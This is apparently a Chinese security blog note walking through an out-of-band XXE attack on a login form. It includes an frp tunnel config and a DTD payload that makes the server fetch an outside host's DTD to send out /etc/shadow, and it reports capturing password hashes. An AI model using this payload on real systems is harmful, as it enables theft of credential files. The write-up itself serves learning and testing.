XXE进阶——OOB攻击
2018-12-18 本文已影响38人
RabbitMask
怕夜长梦多忘了,临时做个笔记,日后深入展开探讨。
之前我们在那些年的系列中已经讲解过XXE了,这些日子随便看见个XML都感觉有犯罪嫌疑,今天,终于在大佬的项目中见到了,借此机会学习一下。
下图是一个网站的登录窗口,随便尝试登录一下,发现用户名密码采用xml的格式进行上传。
我们尝试了下DTD,发现没有被禁掉!行动!
今日demo
我们使用正常逻辑进行尝试!发现返回包并没有存在可供我们操纵的任何数据。
正常逻辑
那么,这里我们的想法就是:服务器既然无法给我们回显数据,我们能不能尝试将已构造好的参数,通过例如HTTP的方式返回到我们看得到的地方?
于是,就有了我们今天的主题:Out of Band,OBB攻击,即数据外带。
如果自己开发能力不足的话,这里给大家安利一个小工具:xxeserve
是基于ruby开发的,如果懒于自己搭建ruby runingtime,那就丢了parrot上吧。
那么这里还有一个问题,就是我们的pc出于内网,如何正常接受返回的数据呢?真相早就提过了:frp!
#frpc.ini
[xxe]
type = tcp
local_ip = 127.0.0.1
local_port = 2333
remote_port = 2333
#DTD
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://*.*.*.*:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>
运行xxeserve,在指定端口进行监听:
xxeserve
发送构造好的payload,虽然发现xml解析错误的提示:
发送payload
但是,xxeserve却成功监听到了我们想要读取的文件,如图中的用户hash:
xxeserve监听
如果你要问我们今天实现了什么?emmmmm,我们看到一个网站的登录界面,然后什么也不知道,但我们可以直接任意读取该服务器上文件,如passwd、shadow等。
今天只是简单梳理下思路,XXE的高阶玩法果然比我想想的要多,关于手工OOB的利用今天并没有成功,择日~